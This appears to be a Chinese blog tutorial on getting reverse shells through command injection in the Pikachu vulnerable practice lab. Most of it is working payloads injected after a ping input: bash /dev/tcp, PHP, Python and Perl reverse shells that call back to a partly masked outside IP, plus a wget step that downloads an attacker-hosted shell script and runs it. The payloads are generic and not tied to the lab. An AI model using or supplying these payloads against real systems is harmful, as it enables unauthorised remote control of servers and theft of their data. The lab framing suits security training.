千家信息网

怎么反弹shell

发表于:2025-02-01 作者:千家信息网编辑
千家信息网最后更新 2025年02月01日,这篇文章主要讲解了"怎么反弹shell",文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习"怎么反弹shell"吧!题目分析:Pikachu的RCE处whoa
千家信息网最后更新 2025年02月01日怎么反弹shell

这篇文章主要讲解了"怎么反弹shell",文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习"怎么反弹shell"吧!

题目分析:
Pikachu的RCE处


whoami是www-data权限,很低的权限;

pwd可查看到当前路径且判定是linux系统;

ls -al查看了下当前目录下的读写执行权限:



可以看出其他用户是没有高权限的,写入执行权限都没有,就不能在当前目录下写马;经尝试,bash反弹shell未能成功。


第一题:exec "ping"


方法一: /tmp写入bash反弹脚本执行

/tmp下有可写可执行权限,那么写个bash反弹脚本上去:

127.0.0.1|Echo 'bash -i >& /dev/tcp/47.107.x.xx/7777 0>&1'>/tmp/cdk.sh


Vps上先监听,然后bash执行脚本:

127.0.0.1|bash /tmp/cdk.sh



方法二: php反弹shell

Payload:

127.0.0.1|php -r '$sock=fsockopen("47.107.xx.xxx",7777);exec("/bin/sh -i <&3 >&3 2>&3");'



方法三: python反弹shell

Payload:

127.0.0.1|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.107.xx.xx",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'



方法四: perl反弹shell

Payload1(依赖/bin/sh):

127.0.0.1|perl -e 'use Socket;$i="47.107.xx.xx";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'



Payload2(不依赖/bin/sh):

127.0.0.1|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"47.107.xx.xx:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'



第二题:exec "eval"


题目如图:


自己服务器上写个反弹shell的sh,利用wget下载到目标服务器,避免传输过程发生格式问题。



利用python启用http服务。



执行命令:

system('wget -P /tmp/ http://180.76.xx.xx:8000/drinkwater.sh')



执行脚本,成功反弹shell:

system("bash /tmp/drinkwater.sh");


感谢各位的阅读,以上就是"怎么反弹shell"的内容了,经过本文的学习后,相信大家对怎么反弹shell这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是,小编将为大家推送更多相关知识点的文章,欢迎关注!

0